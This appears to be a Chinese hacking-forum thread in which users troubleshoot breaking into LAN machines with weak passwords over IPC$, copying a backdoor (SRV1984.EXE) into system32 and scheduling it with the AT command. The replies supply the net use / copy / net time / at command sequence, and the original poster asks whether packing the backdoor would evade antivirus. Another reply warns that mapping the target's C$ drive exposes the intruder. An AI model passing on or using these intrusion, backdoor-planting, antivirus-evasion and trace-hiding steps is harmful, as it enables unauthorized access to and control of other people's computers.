|
作者: qinsheng [qinsheng] 论坛用户 | 登录 |
我在局域网 扫到弱口令 IPC建立连接后 上船了一个SSS.EXE 和 SRV1984.EXE 然后打算用AT命令打开SRV1984这个后门 可是到时间却无法 telnet上去 我用的命令格式是AT \\IP TIME C:\WINNT\SYSTEM32\SRV1984.EXE 不知道 格式对不对 请教大家回答 谢谢!!! |
地主 发表时间: 03/27 22:22 |
回复: helpme [helpme] 论坛用户 | 登录 |
是别人的杀毒软件del掉了. |
B1层 发表时间: 03/27 22:28 |
回复: qinsheng [qinsheng] 论坛用户 | 登录 |
哦啦哦啦 了解 如果给他加壳以后会不会还能查出来呢? |
B2层 发表时间: 03/28 13:18 |
回复: badbug [badbug] 论坛用户 | 登录 |
不对啊 那次我就是看着我旁边的机器做的 可是到了时间也还是不运行啊 在哪里能看到 我只是知道在任务管理器上啊 我看那个上头一点反应都没有 是为什么啊 压根就没有杀毒软件 而且俩台机器离还不到40厘米远 (用的都是2000server) 帐号和密码我都知道 就是想练练手 可是行不通 怎么回事啊 请教这位朋友 |
B3层 发表时间: 03/28 13:40 |
回复: qinsheng [qinsheng] 论坛用户 | 登录 |
我也是想知道怎么回事所以才发帖子的呀 |
B4层 发表时间: 03/28 23:34 |
回复: forboi [forboi] 论坛用户 | 登录 |
你是不是上传到ip\admin$\system32的啊??如果你只上传到admin$的话,那肯定错啦,因为admin$=winnt啊! 或者你只是把它装入服务而没有运行.. |
B5层 发表时间: 03/29 00:35 |
回复: qinsheng [qinsheng] 论坛用户 | 登录 |
没有我是把对方的C$映射为本地硬盘 直接复制到了C:\WINNT\SYSTEM32文件下的 |
B6层 发表时间: 03/29 00:38 |
回复: forboi [forboi] 论坛用户 | 登录 |
你找死啊,,这样对方不就知道是你啦...笨.. |
B7层 发表时间: 03/29 00:46 |
回复: daviy [daviy] 论坛用户 | 登录 |
怎么知道,不明白? |
B8层 发表时间: 03/29 11:03 |
回复: helpme [helpme] 论坛用户 | 登录 |
是不是格式错了? net use \\ipc\ipc$"pwd" /user:"user" copy file \\ip\admin$\system32\ net time \\ip at \\ip time file 是什么系统? |
B9层 发表时间: 03/29 14:03 |
回复: qinsheng [qinsheng] 论坛用户 | 登录 |
呵呵 映射为本地硬盘对方可以知道 对于这种问题我这个菜鸟还是不知道的哦 谢谢告诉 格式应该没有错 就是到了时间不启动 |
B10层 发表时间: 03/29 15:08 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号